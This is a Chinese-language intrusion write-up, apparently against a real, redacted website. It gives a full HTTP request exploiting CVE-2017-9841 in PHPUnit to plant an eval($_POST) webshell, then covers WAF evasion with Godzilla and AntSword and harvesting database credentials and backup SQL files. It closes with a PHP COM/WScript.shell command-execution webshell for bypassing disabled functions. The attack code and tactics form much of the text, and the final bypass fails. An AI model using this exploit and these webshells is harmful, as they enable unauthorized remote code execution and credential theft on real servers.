0x01 CVE-2017-9841实现RCE
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=0p1vg5n1tgjqs823qprg4skau0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 66
<?=file_put_contents("xx.php", '<?=php
eval($_POST["pass"]);');
这里其实已经上传成功了,但是使用蚁剑无法连接成功,我这里分析原因可能是
网站有防火墙造成的,木马本身没有问题,在使用蚁剑连接木马的时候使用base64或者rot等方式时无法过WAF的
选择使用哥斯拉为什么能够连接成功
哥斯拉连接木马的时候选择的加密方式为base64和xor,所以这里是能过waf的
实际上在上传木马的时候可以发现,网站本身的函数已经禁用了很多高危函数,例如“system”."assert"."eval"等
其实在上传的时候使用大写的话是可以过WAF的
0x02 bypass-disable-function
连接上木马之后在进行命令执行的时候是可以发现确实是因为函数的原因无法执行某些函数
这里使用的是哥斯拉直接先baypassopnenbasedir获取到所有隐藏的目录
此时可以看到所有的目录,到这里可以直接看出来这个系统使用的宝塔,其实在看到phpinfo()的信息的时候应该可能直接判断出使用是宝塔nginx+php5.6
信息搜集,起码在这里命令是无法使用的,绕过function随后再说,根据提示当前用户为system,但是在访问目录的过程中可以发现还是有很多的目录是由于用户权限而无法访问
在当前目录下还是能够看到mysql数据库的用户名和密码的,因为该端口未做映射,所以无法直接获取到数据库,继续往下看发现这个cms为*cms,且可以发现管理员的路径
备份的sql文件中找到用户名和密码
网站后台可能响应有问题所以现在是登不了的,虽然md5无法解密,但是如果是前端js加密的话,是可以通过抓包登录后台的。
这里redis是未授权的,密码为null
这里由于限制了登录的出口地址所以无法登录数据库。因为很多模块都是基于linux的,所以对于windows的bypass尝试其它方法,利用Windows中调用COM组件执行命令
php.ini中修改配置文件
com.allow_dcom=true
[PHP_COM_DOTNET]
extension=php_com_dotnet.dll
在php->ext下存在dll文件php_com_dotnet.dll
COM服务开启
这里、通过修改这两部分都已经实现了,但是最关键的一点是COM服务需要开启,如果未开启Win+R->service.msc开启服务
代码index2.php内容
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
直接利用
http://xxxxx/index2.php?cmd=whomai
可实现bypass,因为这里COM服务未开启,所以这种方式不行,突然到现在才发现COM服务早都被禁用了。
0x03 总结
方法总比困难多,招架不住函数禁的多,最后依旧还是没有实现bypass,如果不是阿里云的服务器,连接地址做限制,横向以及拿下数据库是没有问题的。